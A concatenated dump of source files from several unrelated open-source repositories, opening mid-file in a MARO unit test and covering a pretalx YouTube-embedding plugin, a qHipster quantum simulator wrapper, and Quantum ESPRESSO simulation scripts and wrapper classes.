test_first_file_last_tick(self): cpu_utilization_dict = self.cpu_reader.items(tick=1) expected = 13 self.assertEqual(expected, len(cpu_utilization_dict)) def test_switch_file(self): cpu_utilization_dict = self.cpu_reader.items(tick=1) cpu_utilization_dict = self.cpu_reader.items(tick=2) expected = 8 self.assertEqual(expected, len(cpu_utilization_dict)) def test_last_file(self): cpu_utilization_dict = {} for i in range(3): cpu_utilization_dict = self.cpu_reader.items(tick=i) expected = 8 self.assertEqual(expected, len(cpu_utilization_dict)) cpu_utilization_dict = self.cpu_reader.items(tick=3) expected = 7 self.assertEqual(expected, len(cpu_utilization_dict)) def test_reset(self): self.cpu_reader.items(tick=0) self.cpu_reader.items(tick=1) self.cpu_reader.items(tick=2) self.cpu_reader.items(tick=3) self.cpu_reader.reset() cpu_utilization_dict = self.cpu_reader.items(tick=0) expected = 4 self.assertEqual(expected, len(cpu_utilization_dict)) cpu_utilization_dict = self.cpu_reader.items(tick=1) expected = 13 self.assertEqual(expected, len(cpu_utilization_dict)) cpu_utilization_dict = self.cpu_reader.items(tick=2) expected = 8 self.assertEqual(expected, len(cpu_utilization_dict)) def test_start_tick_not_in_first_file(self): self.cpu_reader = CpuReader(self.data_path, 2) cpu_utilization_dict = self.cpu_reader.items(tick=2) expected = 8 self.assertEqual(expected, len(cpu_utilization_dict)) cpu_utilization_dict = self.cpu_reader.items(tick=3) expected = 7 self.assertEqual(expected, len(cpu_utilization_dict)) if __name__ == "__main__": unittest.main()
[ "/examples/cim/dqn/components/__init__.py", "/examples/cim/dqn/components/agent.py", "/examples/cim/dqn/components/agent_manager.py", "/examples/cim/dqn/components/config.py", "/examples/cim/dqn/dist_actor.py", "/examples/cim/dqn/dist_learner.py", "/examples/cim/dqn/single_process_launcher.py", "/examples/cim/policy_optimization/components/__init__.py", "/examples/cim/policy_optimization/components/agent_manager.py", "/examples/cim/policy_optimization/components/experience_shaper.py", "/examples/cim/policy_optimization/dist_actor.py", "/examples/cim/policy_optimization/dist_learner.py", "/examples/cim/policy_optimization/multi_process_launcher.py", "/examples/cim/policy_optimization/single_process_launcher.py", "/examples/vm_scheduling/best_fit/launcher.py", "/examples/vm_scheduling/random/launcher.py", "/maro/cli/grass/create.py", "/maro/cli/grass/data.py", "/maro/cli/grass/delete.py", "/maro/cli/grass/executors/grass_azure_executor.py", "/maro/cli/grass/executors/grass_executor.py", "/maro/cli/grass/executors/grass_on_premises_executor.py", "/maro/cli/grass/image.py", "/maro/cli/grass/lib/agents/exception.py", "/maro/cli/grass/lib/agents/master_agent.py", "/maro/cli/grass/lib/agents/utils.py", "/maro/cli/grass/lib/scripts/create_user.py", "/maro/cli/grass/lib/scripts/delete_user.py", "/maro/cli/grass/lib/scripts/init_build_node_image_vm.py", "/maro/cli/grass/lib/scripts/init_node.py", "/maro/cli/grass/node.py", "/maro/cli/k8s/node.py", "/maro/cli/process/agent/job_agent.py", "/maro/cli/process/create.py", "/maro/cli/process/delete.py", "/maro/cli/process/executor.py", "/maro/cli/process/utils/details.py", "/maro/cli/utils/params.py", "/maro/rl/__init__.py", "/maro/rl/actor/__init__.py", "/maro/rl/actor/simple_actor.py", "/maro/rl/agent/__init__.py", "/maro/rl/agent/abs_agent.py", "/maro/rl/agent/abs_agent_manager.py", "/maro/rl/agent/simple_agent_manager.py", "/maro/rl/algorithms/__init__.py", "/maro/rl/algorithms/abs_algorithm.py", "/maro/rl/algorithms/dqn.py", "/maro/rl/algorithms/policy_optimization.py", "/maro/rl/dist_topologies/__init__.py", "/maro/rl/dist_topologies/experience_collection.py", "/maro/rl/learner/__init__.py", "/maro/rl/learner/abs_learner.py", "/maro/rl/learner/simple_learner.py", "/maro/rl/models/__init__.py", "/maro/rl/models/learning_model.py", "/maro/rl/scheduling/scheduler.py", "/maro/rl/scheduling/simple_parameter_scheduler.py", "/maro/rl/shaping/__init__.py", "/maro/rl/storage/__init__.py", "/maro/simulator/scenarios/vm_scheduling/business_engine.py", "/maro/simulator/scenarios/vm_scheduling/frame_builder.py", "/maro/simulator/scenarios/vm_scheduling/physical_machine.py", "/maro/utils/exception/rl_toolkit_exception.py", "/tests/vm_scheduling/test_vm_scheduling_scenario.py" ]
00mjk/pretalx-youtube
from django.apps import AppConfig from django.utils.translation import gettext_lazy class PluginApp(AppConfig): name = "pretalx_youtube" verbose_name = "YouTube integration" class PretalxPluginMeta: name = gettext_lazy("YouTube integration") author = "Toshaan Bharvani" description = gettext_lazy("Embed YouTube videos as session recordings") visible = True version = "0.0.1" def ready(self): from . import signals # NOQA --- FILE SEPARATOR --- from django import forms from django.utils.translation import gettext_lazy as _ class YouTubeUrlForm(forms.Form): youtube_url = forms.URLField(required=False) def __init__(self, *args, **kwargs): self.submission = kwargs.pop("submission") initial = kwargs.get("initial", dict()) initial["youtube_url"] = self.submission.event.settings.get( f"youtube_url_{self.submission.code}" ) kwargs["initial"] = initial super().__init__(*args, **kwargs) self.fields["youtube_url"].label = self.submission.title def clean_youtube_url(self): from .recording import is_youtube_url data = self.cleaned_data["youtube_url"] if not is_youtube_url(data): raise forms.ValidationError(_("Please provide a youtube.com URL!")) return data --- FILE SEPARATOR --- from pretalx.agenda.recording import BaseRecordingProvider def is_youtube_url(url): return "www.youtube.com/" in url # TODO better validation def get_embed_url(url): if "www.youtube.com/embed" in url: return url if not is_youtube_url(url): return url = url[url.find("www.youtube.com/watch?v=") + len("www.youtube.com/watch?v=") :] video_id = url return f"https://www.youtube-nocookie.com/embed/{video_id}" class YouTubeProvider(BaseRecordingProvider): def get_recording(self, submission): path = self.event.settings.get(f"youtube_url_{submission.code}") if not path: return url = get_embed_url(path) if not url: return iframe = f'<div class="embed-responsive embed-responsive-16by9"><iframe src="{url}" frameborder="0" allowfullscreen></iframe></div>' csp_header = "https://www.youtube-nocookie.com" return {"iframe": iframe, "csp_header": csp_header} --- FILE SEPARATOR --- from django.dispatch import receiver from django.urls import reverse from pretalx.agenda.signals import register_recording_provider from pretalx.orga.signals import nav_event_settings @receiver(register_recording_provider) def youtube_provider(sender, **kwargs): from .recording import YouTubeProvider return YouTubeProvider(sender) @receiver(nav_event_settings) def youtube_settings(sender, request, **kwargs): if not request.user.has_perm("orga.change_settings", request.event): return [] return [ { "label": "YouTube", "url": reverse( "plugins:pretalx_youtube:settings", kwargs={"event": request.event.slug}, ), "active": request.resolver_match.url_name == "plugins:pretalx_youtube:settings", } ] --- FILE SEPARATOR --- from django.urls import re_path from pretalx.event.models.event import SLUG_CHARS from .views import YouTubeSettings urlpatterns = [ re_path( fr"^orga/event/(?P<event>[{SLUG_CHARS}]+)/settings/p/youtube/$", YouTubeSettings.as_view(), name="settings", ) ] --- FILE SEPARATOR --- from django.contrib import messages from django.utils.translation import gettext_lazy as _ from django.views.generic import TemplateView from pretalx.common.mixins.views import PermissionRequired from pretalx.submission.models import Submission from .forms import YouTubeUrlForm class YouTubeSettings(PermissionRequired, TemplateView): permission_required = "orga.change_settings" template_name = "pretalx_youtube/settings.html" def get_success_url(self): return self.request.path def get_object(self): return self.request.event def post(self, request, *args, **kwargs): action = request.POST.get("action") code = action[len("url_") :] try: submission = request.event.submissions.get(code=code) except Submission.DoesNotExist: messages.error(request, _("Could not find this talk.")) return super().get(request, *args, **kwargs) form = YouTubeUrlForm(request.POST, submission=submission) if not form.is_valid(): messages.error(request, form.errors) return super().get(request, *args, **kwargs) else: request.event.settings.set( f"youtube_url_{submission.code}", form.cleaned_data["youtube_url"], ) messages.success(request, _("The URL for this talk was updated.")) return super().get(request, *args, **kwargs) return super().post(request, *args, **kwargs) def get_context_data(self, *args, **kwargs): kwargs = super().get_context_data(**kwargs) kwargs["url_forms"] = [ YouTubeUrlForm(submission=submission) for submission in self.request.event.talks ] return kwargs
[ "/pretalx_youtube/apps.py", "/pretalx_youtube/forms.py", "/pretalx_youtube/recording.py", "/pretalx_youtube/signals.py", "/pretalx_youtube/urls.py", "/pretalx_youtube/views.py" ]
00mjk/qe-qhipster
import os import subprocess from zquantum.core.interfaces.backend import QuantumSimulator from zquantum.core.circuit import save_circuit from zquantum.core.measurement import ( load_wavefunction, load_expectation_values, sample_from_wavefunction, Measurements, ) from .utils import save_symbolic_operator, make_circuit_qhipster_compatible from openfermion.ops import SymbolicOperator import numpy as np class QHipsterSimulator(QuantumSimulator): supports_batching = False def __init__(self, n_samples=None, nthreads=1): super().__init__(n_samples=n_samples) self.nthreads = nthreads # NOTE: The environment variables that are set below are necessary for running qhipster with the intel psxe # runtime installation. They were obtained through sourcing the script # /app/usr/local/bin/compilers_and_library.sh which can be found in the zapatacomputing/qe-qhipster docker # image. os.putenv( "LD_LIBRARY_PATH", "/opt/intel/psxe_runtime_2019.3.199/linux/daal/lib/intel64_lin:/opt/intel/psxe_runtime_2019.3.199/linux/compiler/lib/intel64_lin:/opt/intel/psxe_runtime_2019.3.199/linux/mkl/lib/intel64_lin:/opt/intel/psxe_runtime_2019.3.199/linux/tbb/lib/intel64/gcc4.7:/opt/intel/psxe_runtime_2019.3.199/linux/ipp/lib/intel64:/opt/intel/psxe_runtime_2019.3.199/linux/mpi/intel64/libfabric/lib:/opt/intel/psxe_runtime_2019.3.199/linux/mpi/intel64/lib/release:/opt/intel/psxe_runtime_2019.3.199/linux/mpi/intel64/lib:/opt/intel/psxe_runtime_2019.3.199/linux/compiler/lib/intel64_lin", ) os.putenv("IPPROOT", "/opt/intel/psxe_runtime_2019.3.199/linux/ipp") os.putenv( "FI_PROVIDER_PATH", "/opt/intel/psxe_runtime_2019.3.199/linux/mpi/intel64/libfabric/lib/prov", ) os.putenv( "CLASSPATH", "/opt/intel/psxe_runtime_2019.3.199/linux/daal/lib/daal.jar:/opt/intel/psxe_runtime_2019.3.199/linux/mpi/intel64/lib/mpi.jar", ) os.putenv( "CPATH", "/opt/intel/psxe_runtime_2019.3.199/linux/daal/include:/opt/intel/psxe_runtime_2019.3.199/linux/mkl/include:/opt/intel/psxe_runtime_2019.3.199/linux/tbb/include:/opt/intel/psxe_runtime_2019.3.199/linux/ipp/include:", ) os.putenv( "NLSPATH", "/opt/intel/psxe_runtime_2019.3.199/linux/mkl/lib/intel64_lin/locale/%l_%t/%N:/opt/intel/psxe_runtime_2019.3.199/linux/compiler/lib/intel64_lin/locale/%l_%t/%N", ) os.putenv( "LIBRARY_PATH", "/opt/intel/psxe_runtime_2019.3.199/linux/daal/lib/intel64_lin:/opt/intel/psxe_runtime_2019.3.199/linux/compiler/lib/intel64_lin:/opt/intel/psxe_runtime_2019.3.199/linux/mkl/lib/intel64_lin:/opt/intel/psxe_runtime_2019.3.199/linux/tbb/lib/intel64/gcc4.7:/opt/intel/psxe_runtime_2019.3.199/linux/ipp/lib/intel64:/opt/intel/psxe_runtime_2019.3.199/linux/mpi/intel64/libfabric/lib:/opt/intel/psxe_runtime_2019.3.199/linux/compiler/lib/intel64_lin", ) os.putenv("DAALROOT", "/opt/intel/psxe_runtime_2019.3.199/linux/daal") os.putenv( "MIC_LD_LIBRARY_PATH", "/opt/intel/psxe_runtime_2019.3.199/linux/compiler/lib/intel64_lin_mic", ) os.putenv("MANPATH", "/opt/intel/psxe_runtime_2019.3.199/linux/mpi/man:") os.putenv("CPLUS_INCLUDE_PATH", "/app/json_parser/include") os.putenv("MKLROOT", "/opt/intel/psxe_runtime_2019.3.199/linux/mkl") os.putenv( "PATH", "/opt/intel/psxe_runtime_2019.3.199/linux/mpi/intel64/libfabric/bin:/opt/intel/psxe_runtime_2019.3.199/linux/mpi/intel64/bin:/opt/intel/psxe_runtime_2019.3.199/linux/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", ) os.putenv("TBBROOT", "/opt/intel/psxe_runtime_2019.3.199/linux/tbb") os.putenv( "PKG_CONFIG_PATH", "/opt/intel/psxe_runtime_2019.3.199/linux/mkl/bin/pkgconfig", ) os.putenv("I_MPI_ROOT", "/opt/intel/psxe_runtime_2019.3.199/linux/mpi") def run_circuit_and_measure(self, circuit, **kwargs): wavefunction = self.get_wavefunction(circuit) return Measurements(sample_from_wavefunction(wavefunction, self.n_samples)) def get_exact_expectation_values(self, circuit, qubit_operator, **kwargs): self.number_of_circuits_run += 1 self.number_of_jobs_run += 1 circuit = make_circuit_qhipster_compatible(circuit) save_circuit(circuit, "./temp_qhipster_circuit.json") if isinstance(qubit_operator, SymbolicOperator): save_symbolic_operator(qubit_operator, "./temp_qhipster_operator.json") else: raise Exception( "Unsupported type: " + type(qubit_operator) + "QHipster works only with openfermion.SymbolicOperator" ) # Parse JSON files for qhipster usage subprocess.call( ["/app/json_parser/json_to_qasm.o", "./temp_qhipster_circuit.json"] ) subprocess.call( [ "/app/json_parser/qubitop_to_paulistrings.o", "./temp_qhipster_operator.json", ] ) # Run simulation subprocess.call( [ "/app/zapata/zapata_interpreter_no_mpi_get_exp_vals.out", "./temp_qhipster_circuit.txt", str(self.nthreads), "./temp_qhipster_operator.txt", "./expectation_values.json", ] ) expectation_values = load_expectation_values("./expectation_values.json") term_index = 0 for term in qubit_operator.terms: expectation_values.values[term_index] = np.real( qubit_operator.terms[term] * expectation_values.values[term_index] ) term_index += 1 return expectation_values def get_wavefunction(self, circuit): super().get_wavefunction(circuit) # First, save the circuit object to file in JSON format circuit = make_circuit_qhipster_compatible(circuit) save_circuit(circuit, "./temp_qhipster_circuit.json") # Parse JSON files for qhipster usage subprocess.call( ["/app/json_parser/json_to_qasm.o", "./temp_qhipster_circuit.json"] ) # Run simulation subprocess.call( [ "/app/zapata/zapata_interpreter_no_mpi_get_wf.out", "./temp_qhipster_circuit.txt", str(self.nthreads), "./temp_qhipster_wavefunction.json", ] ) wavefunction = load_wavefunction("./temp_qhipster_wavefunction.json") os.remove("./temp_qhipster_circuit.json") os.remove("./temp_qhipster_wavefunction.json") return wavefunction --- FILE SEPARATOR --- import pytest from zquantum.core.interfaces.backend_test import ( QuantumSimulatorTests, QuantumSimulatorGatesTest, ) from .simulator import QHipsterSimulator @pytest.fixture( params=[ {}, {"n_samples": 1000}, ] ) def backend(request): return QHipsterSimulator(**request.param) @pytest.fixture( params=[ {}, ] ) def wf_simulator(request): return QHipsterSimulator(**request.param) class TestQHipster(QuantumSimulatorTests): pass class TestQHipsterGates(QuantumSimulatorGatesTest): gates_to_exclude = ["XX", "YY", "ZZ"] pass --- FILE SEPARATOR --- from openfermion import SymbolicOperator import numpy as np import json def save_symbolic_operator(op: SymbolicOperator, filename: str) -> None: dictionary = {} dictionary["expression"] = convert_symbolic_op_to_string(op) with open(filename, "w") as f: f.write(json.dumps(dictionary, indent=2)) def convert_symbolic_op_to_string(op: SymbolicOperator) -> str: """Convert an openfermion SymbolicOperator to a string. This differs from the SymbolicOperator's __str__ method only in that we preserve the order of terms. Adapted from openfermion. Args: op (openfermion.ops.SymbolicOperator): the operator Returns string: the string representation of the operator """ if not op.terms: return "0" string_rep = "" for term, coeff in op.terms.items(): if np.abs(coeff) < 0.00000001: continue tmp_string = "{} [".format(coeff) for factor in term: index, action = factor action_string = op.action_strings[op.actions.index(action)] if op.action_before_index: tmp_string += "{}{} ".format(action_string, index) else: tmp_string += "{}{} ".format(index, action_string) string_rep += "{}] +\n".format(tmp_string.strip()) return string_rep[:-3] def make_circuit_qhipster_compatible(circuit): circuit = replace_identity_gates_with_rx(circuit) circuit = replace_XX_YY_ZZ_gates_with_decomposition(circuit) return circuit def replace_identity_gates_with_rx(circuit): for gate in circuit.gates: if gate.name == "I": gate.name = "Rx" gate.params = [0] return circuit def replace_XX_YY_ZZ_gates_with_decomposition(circuit): for gate in circuit.gates: if gate.name == "XX": raise NotImplementedError( "XX gate is currently not supported for qHipster integration." ) elif gate.name == "YY": raise NotImplementedError( "YY gate is currently not supported for qHipster integration." ) elif gate.name == "ZZ": raise NotImplementedError( "ZZ gate is currently not supported for qHipster integration." ) return circuit
[ "/src/python/qeqhipster/simulator.py", "/src/python/qeqhipster/simulator_test.py", "/src/python/qeqhipster/utils.py" ]
00mjk/quantum-espresso-wrapper
import numpy as np from osp.core.namespaces import QE from osp.core.utils import pretty_print from osp.wrappers.quantumespresso.qe_session import qeSession # Creates simulation sim = QE.Simulation() k = QE.K_POINTS(vector6 = (7, 7, 7, 0, 0, 0), unit = "") # Creates a cell, the element Silicon, a pseudopotential, two atoms and cell parameters SiCell = QE.Cell() Si = QE.Element(name = "Si") SiPseudo = QE.PSEUDOPOTENTIAL(path = "Si.pbe-n-kjpaw_psl.1.0.0.UPF") Si1 = QE.Atom() celldm1 = QE.Celldm1(value = 5.43070, unit = "au") # Adds pseudopotential and atoms to the element # Describes element's mass # Adds atoms and cell parameters to the cell # Positions the atoms Si.add(SiPseudo, Si1) Si.add(QE.Mass(value = 28.085, unit = "amu")) SiParams = QE.CellParams(tensor2 = [[0.5, 0.5, 0.], [0.5, 0., 0.5], [0., 0.5, 0.5]], unit = "") SiCell.add(Si1, SiParams) Si1.add(QE.Position(vector = (0, 0, 0), unit = "")) SiCell.add(celldm1) # Specifies the values of the cell parameters # Adds cell and element to simulation sim.add(SiCell) sim.add(Si) sim.add(k) sim.add(QE.Pressure(value = 100, unit = "kbar")) sim.add(QE.StressTensor(tensor2 = np.zeros((3, 3)), unit = "kbar")) root = "" SiCell.add(QE.Volume(value = 22, unit = "au^3")) sim.add(QE.TotalEnergy(value = -434, unit = "Ry")) q = QE.QPoint(vector = (0, 0, 0), unit = "", calculate = True) sim.add(q) q.add(QE.Mode(number = 3)) q.add(QE.Mode(number = 2)) q.add(QE.Mode(number = 1)) sim2 = QE.Simulation() fd = QE.Cell() sim2.add(fd) fd.add(QE.Volume(value = 33, unit = "au^3")) sim2.add(QE.TotalEnergy(value = -432, unit = "Ry")) with qeSession(root) as session: # Adds session to wrapper quantum_espresso_wrapper = QE.QEWrapper(session = session) # Adds simulation to wrapper sim = quantum_espresso_wrapper.add(sim) # pretty_print(sim) # Creates a qeUtil object and creates an input file based off of the simulation print("Running calculation...") # Runs the simulation # pretty_print(quantum_espresso_wrapper) # pretty_print(quantum_espresso_wrapper) quantum_espresso_wrapper.session._run(simulation = sim, prefix = "si", command_type = "pw.x", calculation_type = "scf", root = root) # quantum_espresso_wrapper.session._run(simulation = sim, prefix = "si", command_type = "pw.x", calculation_type = "bands") # quantum_espresso_wrapper.session._run(simulation = sim, prefix = "si", command_type = "bands.x", calculation_type = "") # quantum_espresso_wrapper.session._run(simulation = sim, prefix = "si", command_type = "pw.x", calculation_type = "relax", IONS = {'ion_dynamics': "'bfgs'"}) # quantum_espresso_wrapper.session._run(simulation = sim, prefix = "si", command_type = "pw.x", calculation_type = "scf", SYSTEM = {'occupations': "'tetrahedra'"}) # quantum_espresso_wrapper.session._run(simulation = sim, prefix = "si", command_type = "dos.x", calculation_type = "") quantum_espresso_wrapper.session._run(simulation = sim, prefix = "si", command_type = "pp.x", calculation_type = 9, PLOT = {"output_format": 6}) # quantum_espresso_wrapper.session._run(simulation = [sim, sim2], prefix = 'si', command_type = "ev.x", calculation_type = '1') # quantum_espresso_wrapper.session._run(simulation = sim, prefix = "si", command_type = "ph.x", calculation_type = "") # quantum_espresso_wrapper.session._run(simulation = sim, prefix = "si", command_type = "plotband.x", calculation_type = "", params = {'Input file': 'si.bands.dat', 'Emin, Emax': "-6 17", "gnuplot": "gnuplot", "ps": "si.bands.ps", "Efermi": "0", "deltaE": "5 0"}) pretty_print(sim) # pretty_print(sim2) # print("Results: ") # Pretty prints the simulation --- FILE SEPARATOR --- #!/usr/bin/env python # -*- coding: utf-8 -*- ########################################################################### # Copyright (c), The AiiDA team. All rights reserved. # # This file is part of the AiiDA code. # # # # The code is hosted on GitHub at https://github.com/aiidateam/aiida_core # # For further information on the license, see the LICENSE.txt file # # For further information please visit http://www.aiida.net # ########################################################################### from aiida import load_profile from aiida.orm import Code from aiida.plugins import DataFactory from aiida.engine import submit from aiida.orm.nodes.data.upf import get_pseudos_from_structure from aiida.engine import run load_profile() StructureData = DataFactory('structure') Dict = DataFactory('dict') KpointsData = DataFactory('array.kpoints') ############################### # Set your values here codename = 'Quantum ESPRESSO@mbxp' pseudo_family = 'pbe-spn-kjpaw_psl' # These require setting up beforehand ############################### code = Code.get_from_string(codename) builder = code.get_builder() # BaTiO3 cubic structure alat = 4. # angstrom cell = [[alat, 0., 0.,], [0., alat, 0.,], [0., 0., alat,]] s = StructureData(cell=cell) s.append_atom(position=(0., 0., 0.), symbols='Ba') s.append_atom(position=(alat / 2., alat / 2., alat / 2.), symbols='Ti') s.append_atom(position=(alat / 2., alat / 2., 0.), symbols='O') s.append_atom(position=(alat / 2., 0., alat / 2.), symbols='O') s.append_atom(position=(0., alat / 2., alat / 2.), symbols='O') parameters = Dict( dict={ 'CONTROL': { 'calculation': 'scf', 'restart_mode': 'from_scratch', 'wf_collect': True, }, 'SYSTEM': { 'ecutwfc': 30., 'ecutrho': 240., }, 'ELECTRONS': { 'conv_thr': 1.e-6, } } ) kpoints = KpointsData() kpoints.set_kpoints_mesh([4, 4, 4]) builder.pseudos = get_pseudos_from_structure(s, pseudo_family) builder.metadata.options.resources = {'num_machines': 1} builder.metadata.options.max_wallclock_seconds = 1800 builder.metadata.label = 'My generic title' builder.metadata.description = 'My generic description' builder.structure = s builder.parameters = parameters builder.kpoints = kpoints calc = submit(builder) results = run(builder) print('created calculation with PK={}'.format(calc.pk)) print(calc.res) --- FILE SEPARATOR --- import numpy as np from osp.core.namespaces import QE from osp.wrappers.quantumespresso.qe_session import qeSession from osp.core.utils import pretty_print sim = QE.Simulation() root = "" session = qeSession(root) quantum_espresso_wrapper = QE.QEWrapper(session = session) quantum_espresso_wrapper.add(sim) cell = QE.Cell() alat = 4. cellParams = cell.add(QE.CellParams(tensor2 = [[1., 0., 0.,], [0., 1., 0.,], [0., 0., 1.,]], unit = "alat")) cell.add(QE.Celldm1(value = alat, unit = "")) O = QE.Element(name = "O") Ba = QE.Element(name = "Ba") Ti = QE.Element(name = "Ti") O.add(QE.Mass(value = 15.999, unit = "amu")) Ba.add(QE.Mass(value = 137.327, unit = "amu")) Ti.add(QE.Mass(value = 47.867, unit = "amu")) O.add(QE.PSEUDOPOTENTIAL(path = "O.pbe-n-kjpaw_psl.1.0.0.UPF")) Ba.add(QE.PSEUDOPOTENTIAL(path = "Ba.pbe-spn-kjpaw_psl.1.0.0.UPF")) Ti.add(QE.PSEUDOPOTENTIAL(path = "Ti.pbe-spn-kjpaw_psl.1.0.0.UPF")) O1 = O.add(QE.Atom()) O2 = O.add(QE.Atom()) O3 = O.add(QE.Atom()) Ba1 = Ba.add(QE.Atom()) Ti1 = Ti.add(QE.Atom()) O1.add(QE.Position(vector = [0.5, 0.5, 0.], unit = "")) O2.add(QE.Position(vector = [0.5, 0., 0.5], unit = "")) O3.add(QE.Position(vector = [0., 0.5, 0.5], unit = "")) Ba1.add(QE.Position(vector = [0., 0., 0.], unit = "")) Ti1.add(QE.Position(vector = [0.5, 0.5, 0.5], unit = "")) cell.add(O1, O2, O3, Ba1, Ti1) kpoints = QE.K_POINTS(vector6 = (4, 4, 4, 0, 0, 0), unit = "automatic") sim.add(cell, O, Ba, Ti, kpoints) paramdict = { 'CONTROL': { 'calculation': 'scf', 'restart_mode': 'from_scratch', 'wf_collect': '.true.', }, 'SYSTEM': { 'ecutwfc': 30., 'ecutrho': 240., }, 'ELECTRONS': { 'conv_thr': 1.e-6, } } pretty_print(sim) session._run(simulation = sim, prefix = "BaTiO3", command_type="pw.x", calculation_type="scf", root = root, **paramdict) pretty_print(sim) --- FILE SEPARATOR --- import subprocess import pexpect import osp.wrappers.quantumespresso.qe_utils class SimulationEngine: def __init__(self, session): self._session = session def run(self): input_file = self._session._qe_utils._file_path_root + self._session._input_file output_file = self._session._qe_utils._file_path_root + self._session._output_file # Using pexpect, checks type of parent class. If it's cliUtils, then use params keys as expect # and send params values. Do not remove wait, otherwise command will not run. if self._session._qe_utils.__class__.__base__ == osp.wrappers.quantumespresso.qe_utils.cliUtils: child = pexpect.spawn(self._session._command_type) for i, j in self._session._qe_utils.params.items(): child.expect(i) child.sendline(j) child.wait() # Runs the command in the usual way else: command = [self._session._command_type, "-i", input_file, ">", output_file] try: proc = subprocess.run(" ".join(command), capture_output = True, shell = True) print(" ".join(command)) except: raise RuntimeError(f"An error occured when running the following command: {command}") --- FILE SEPARATOR --- from osp.core.session import SimWrapperSession from osp.core.namespaces import QE from osp.wrappers.quantumespresso.qe_engine import SimulationEngine from osp.wrappers.quantumespresso.qe_utils import qeUtils import osp.wrappers.quantumespresso.qe_utils from osp.core.utils import simple_search class qeSession(SimWrapperSession): def __init__(self, engine = None, **kwargs): # Engine and file utils engine = engine or SimulationEngine(self) super().__init__(engine, **kwargs) def __str__(self): return "Quantum Espresso Wrapper Session" def _run(self, simulation, prefix, command_type, calculation_type = "", root = "", **kwargs): self._qe_utils = getattr(osp.wrappers.quantumespresso.qe_utils, f"{command_type[:-2]}Utils")(self, root = root) self._prefix = prefix self._command_type = command_type self._calculation_type = calculation_type # Sets input and output files self._input_file = f"{self._prefix}.{self._command_type[:-2]}{self._calculation_type}.in" self._output_file = f"{self._prefix}.{self._command_type[:-2]}{self._calculation_type}.out" # Creates input, runs, and updates the cuds structure self._qe_utils._create_input(simulation, **kwargs) self._engine.run() self._qe_utils._update_cuds(simulation) # Only here for compatibility reasons def _load_from_backend(self, uids, expired=None): for uid in uids: try: yield self._registry.get(uid) except KeyError: yield None def _apply_added(self, root_obj, buffer): return super()._apply_added(root_obj, buffer) def _apply_deleted(self, root_obj, buffer): return super()._apply_deleted(root_obj, buffer) def _apply_updated(self, root_obj, buffer): return super()._apply_updated(root_obj, buffer) --- FILE SEPARATOR --- from osp.core.namespaces import QE from osp.core.utils import simple_search import numpy as np class qeUtils(): """Utilities for reading and writing .in and .out files """ def __init__(self, session, root): """__init__ function for using any of the following utils Args: session (cuds object): the simulation CUDS object """ self._session = session self._file_path_root = root self.params = {} def _modify_input(self, sim, **kwargs): # Update params based on kwargs for key1, value1 in self.params.items(): for key2, value2 in kwargs.items(): if key1 == key2: value1.update(value2) def _create_input(self, sim, **kwargs): """Creates input file(s) necessary to perform the calculations Args: sim (QE.Simulation or list of QE.Simulations): the simulation on which to perform the calculation. For calculations that require multiple simulations and aggregate the data (such as ev.x), please provide a list of strings. **kwargs (dict): used to update the params """ # Writes to file based on params and sys with open(self._file_path_root + self._session._input_file, "w+") as f: for key1, value1 in self.params.items(): f.write(f"&{key1} \n") for key2, value2 in value1.items(): if type(value2) == int or type(value2) == float or value2 == ".true." or value2 == ".false.": f.write(f" {key2} = {value2} \n") else: f.write(f" {key2} = '{value2}' \n") f.write("/\n") if self._session._command_type == "pw.x" or self._session._command_type == "ph.x": # TODO: find a way to put this in the pwUtils class for key1, value1 in self.sysinfo.items(): f.write(f"{key1} ") for i in value1: f.write(" ".join(str(v) for v in i) + "\n") def _update_cuds(self, sim): """Based off of the structure Args: sim (QE.Simulation or list of QE.Simulations): the simulation for which cuds should be updated. For calculations that require multiple simulations and aggregate the data (such as ev.x), please provide a list of strings. """ # Adds the output file that comes standard with most commands to the structure. sim.add(QE.Outfile(path = self._file_path_root + self._session._output_file)) class pwUtils(qeUtils): def _create_input(self, sim, **kwargs): # Simulation parameters self.params = { "CONTROL": { "calculation": f"{self._session._calculation_type}", "pseudo_dir": ".", "tprnfor": ".true.", "tstress": ".true.", "prefix": f"{self._session._prefix}", }, "SYSTEM": { "ibrav": 0, "ecutwfc": 100, }, "ELECTRONS": {}, "CELL": {}, "IONS": {} } # Information about the system to be simulated self.sysinfo = {"ATOMIC_SPECIES":[[""]], "ATOMIC_POSITIONS":[["{crystal}"]],"K_POINTS":[["{automatic}"]]} # Defining a couple useful functions def _get_count(oclass): count = 0 for i in simple_search.find_cuds_objects_by_oclass(oclass = oclass, root = sim, rel = QE.HAS_PART): count +=1 return count def findo(oclass, depth): return simple_search.find_cuds_objects_by_oclass(oclass = oclass, root = sim, rel = QE.HAS_PART) # Add some sysinfo based on cuds self.params["SYSTEM"]["nat"] = _get_count(oclass = QE.Atom) self.params["SYSTEM"]["ntyp"] = _get_count(QE.Element) self.params["SYSTEM"]["celldm(1)"] = float(findo(QE.Celldm1, 2)[0].value) print(type(self.params["SYSTEM"]["celldm(1)"])) # Storing atoms so that the same order can be used to update cuds later on self.atomlist = [] # Adds a bunch of stuff to sysinfo for element in findo(QE.Element, 1): self.sysinfo["ATOMIC_SPECIES"].append([element.name, element.get(oclass = QE.Mass)[0].value, element.get(oclass = QE.PSEUDOPOTENTIAL)[0].path]) for atom in findo(QE.Atom, 3): self.atomlist.append(atom) self.sysinfo["ATOMIC_POSITIONS"].append([atom.get(oclass = QE.Element, rel = QE.IS_PART_OF)[0].name] + [i for i in atom.get(oclass = QE.Position)[0].vector]) if findo(QE.K_POINTS, 2): point = findo(QE.K_POINTS, 1)[0] self.sysinfo["K_POINTS"].append([int(i) for i in point.vector6]) elif findo(QE.K_POINT, 2): count = 0 for point in findo(QE.K_POINT, 1): count +=1 self.sysinfo["K_POINTS"].append([i for i in point.vector] + [point.value]) self.sysinfo["K_POINTS"].insert(1, count) if self.params["SYSTEM"]["ibrav"] == 0: self.sysinfo["CELL_PARAMETERS"]=[["{alat}"]] cellparams = findo(QE.CellParams, 2)[0] for i in cellparams.tensor2: self.sysinfo["CELL_PARAMETERS"].append([float(j) for j in i]) # Inherits method super()._modify_input(sim, **kwargs) super()._create_input(sim, **kwargs) def _update_cuds(self, sim): # A variety of functions to update particular aspects of a cuds simulation def update_total_energy(line): if line.startswith("!"): total_energy = float(line.split()[4]) cuds_entity = sim.get(oclass = QE.TotalEnergy) if cuds_entity: cuds_entity[0].value = total_energy cuds_entity[0].unit = "Ry" else: sim.add(QE.TotalEnergy(value = total_energy, unit = 